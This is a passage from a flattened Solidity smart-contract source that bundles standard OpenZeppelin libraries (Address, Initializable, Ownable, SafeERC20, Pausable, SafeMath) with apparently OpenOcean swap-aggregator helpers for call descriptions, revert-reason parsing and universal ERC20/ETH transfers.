target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol // OpenZeppelin Contracts (last updated v4.8.1) (proxy/utils/Initializable.sol) pragma solidity ^0.8.2; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be * reused. This mechanism prevents re-execution of each "step" but allows the creation of new initialization steps in * case an upgrade adds a module that needs to be initialized. * * For example: * * [.hljs-theme-light.nopadding] * ``` * contract MyToken is ERC20Upgradeable { * function initialize() initializer public { * __ERC20_init("MyToken", "MTK"); * } * } * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable { * function initializeV2() reinitializer(2) public { * __ERC20Permit_init("MyToken"); * } * } * ``` * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() { * _disableInitializers(); * } * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. * @custom:oz-retyped-from bool */ uint8 private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Triggered when the contract has been initialized or reinitialized. */ event Initialized(uint8 version); /** * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope, * `onlyInitializing` functions can be used to initialize parent contracts. * * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a * constructor. * * Emits an {Initialized} event. */ modifier initializer() { bool isTopLevelCall = !_initializing; require( (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1), "Initializable: contract is already initialized" ); _initialized = 1; if (isTopLevelCall) { _initializing = true; } _; if (isTopLevelCall) { _initializing = false; emit Initialized(1); } } /** * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be * used to initialize parent contracts. * * A reinitializer may be used after the original initialization step. This is essential to configure modules that * are added through upgrades and that require initialization. * * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer` * cannot be nested. If one is invoked in the context of another, execution will revert. * * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in * a contract, executing them in the right order is up to the developer or operator. * * WARNING: setting the version to 255 will prevent any future reinitialization. * * Emits an {Initialized} event. */ modifier reinitializer(uint8 version) { require(!_initializing && _initialized < version, "Initializable: contract is already initialized"); _initialized = version; _initializing = true; _; _initializing = false; emit Initialized(version); } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} and {reinitializer} modifiers, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } /** * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call. * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized * to any version. It is recommended to use this to lock implementation contracts that are designed to be called * through proxies. * * Emits an {Initialized} event the first time it is successfully executed. */ function _disableInitializers() internal virtual { require(!_initializing, "Initializable: contract is initializing"); if (_initialized < type(uint8).max) { _initialized = type(uint8).max; emit Initialized(type(uint8).max); } } /** * @dev Returns the highest version that has been initialized. See {reinitializer}. */ function _getInitializedVersion() internal view returns (uint8) { return _initialized; } /** * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}. */ function _isInitializing() internal view returns (bool) { return _initializing; } } // File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } // File: @openzeppelin/contracts/token/ERC20/extensions/draft-IERC20Permit.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } function safePermit( IERC20Permit token, address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) internal { uint256 nonceBefore = token.nonces(owner); token.permit(owner, spender, value, deadline, v, r, s); uint256 nonceAfter = token.nonces(owner); require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed"); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol // OpenZeppelin Contracts (last updated v4.7.0) (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { _requireNotPaused(); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { _requirePaused(); _; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Throws if the contract is paused. */ function _requireNotPaused() internal view virtual { require(!paused(), "Pausable: paused"); } /** * @dev Throws if the contract is not paused. */ function _requirePaused() internal view virtual { require(paused(), "Pausable: not paused"); } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // File: contracts/interfaces/IOpenOceanCaller.sol pragma solidity ^0.8.0; interface IOpenOceanCaller { struct CallDescription { uint256 target; uint256 gasLimit; uint256 value; bytes data; } function makeCall(CallDescription memory desc) external; function makeCalls(CallDescription[] memory desc) external payable; } // File: contracts/libraries/RevertReasonParser.sol pragma solidity ^0.8.0; library RevertReasonParser { function parse(bytes memory data, string memory prefix) internal pure returns (string memory) { // https://solidity.readthedocs.io/en/latest/control-structures.html#revert // We assume that revert reason is abi-encoded as Error(string) // 68 = 4-byte selector 0x08c379a0 + 32 bytes offset + 32 bytes length if (data.length >= 68 && data[0] == "\x08" && data[1] == "\xc3" && data[2] == "\x79" && data[3] == "\xa0") { string memory reason; // solhint-disable no-inline-assembly assembly { // 68 = 32 bytes data length + 4-byte selector + 32 bytes offset reason := add(data, 68) } /* revert reason is padded up to 32 bytes with ABI encoder: Error(string) also sometimes there is extra 32 bytes of zeros padded in the end: https://github.com/ethereum/solidity/issues/10170 because of that we can't check for equality and instead check that string length + extra 68 bytes is less than overall data length */ require(data.length >= 68 + bytes(reason).length, "Invalid revert reason"); return string(abi.encodePacked(prefix, "Error(", reason, ")")); } // 36 = 4-byte selector 0x4e487b71 + 32 bytes integer else if (data.length == 36 && data[0] == "\x4e" && data[1] == "\x48" && data[2] == "\x7b" && data[3] == "\x71") { uint256 code; // solhint-disable no-inline-assembly assembly { // 36 = 32 bytes data length + 4-byte selector code := mload(add(data, 36)) } return string(abi.encodePacked(prefix, "Panic(", _toHex(code), ")")); } return string(abi.encodePacked(prefix, "Unknown()")); } function _toHex(uint256 value) private pure returns (string memory) { return _toHex(abi.encodePacked(value)); } function _toHex(bytes memory data) private pure returns (string memory) { bytes memory alphabet = "0123456789abcdef"; bytes memory str = new bytes(2 + data.length * 2); str[0] = "0"; str[1] = "x"; for (uint256 i = 0; i < data.length; i++) { str[2 * i + 2] = alphabet[uint8(data[i] >> 4)]; str[2 * i + 3] = alphabet[uint8(data[i] & 0x0f)]; } return string(str); } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: contracts/libraries/UniversalERC20.sol pragma solidity ^0.8.0; library UniversalERC20 { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 internal constant ZERO_ADDRESS = IERC20(0x0000000000000000000000000000000000000000); IERC20 internal constant ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); IERC20 internal constant MATIC_ADDRESS = IERC20(0x0000000000000000000000000000000000001010); function universalTransfer( IERC20 token, address payable to, uint256 amount ) internal { if (amount > 0) { if (isETH(token)) { (bool result, ) = to.call{value: amount}(""); require(result, "Failed to transfer ETH"); } else { token.safeTransfer(to, amount); } } } function universalApprove( IERC20 token, address to, uint256 amount ) internal { require(!isETH(token), "Approve called on ETH"); if (amount == 0) { token.safeApprove(to, 0); } else { uint256 allowance = token.allowance(address(this), to); if (allowance < amount) { if (allowance > 0) { token.safeApprove(to, 0); } token.safeApprove(to, amount); } } } function universalBalanceOf(IERC20 token, address account) internal view returns (uint256) { if (isETH(token)) { return account.balance; } else { return token.balanceOf(account); } } function isETH(IERC20 token) internal pure returns (bool) { return address(token) == address(ETH_ADDRESS) || address(token) == address(MATIC_ADDRESS) || address(token) == address(ZERO_ADDRESS); } } // File: contracts/libraries/Permitable.sol pragma solidity ^0.8.0; /// @title Interface for DAI-style permits interface IDaiLikePermit { function permit( address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s ) external; } /// @title SignatureTransfer /// @notice Handles ERC20 token transfers through signature based actions /// @dev Requires user's token approval on the Permit2 contract interface IPermit2 { /// @notice The token and amount details for a transfer signed in the permit transfer signature struct TokenPermissions { // ERC20 token address address token; // the maximum amount that can be spent uint256 amount; } /// @notice The signed permit message for a single token transfer struct PermitTransferFrom { TokenPermissions permitted; // a unique value for every token owner's signature to prevent signature replays uint256 nonce; // deadline on the permit signature uint256 deadline; } /// @notice Specifies 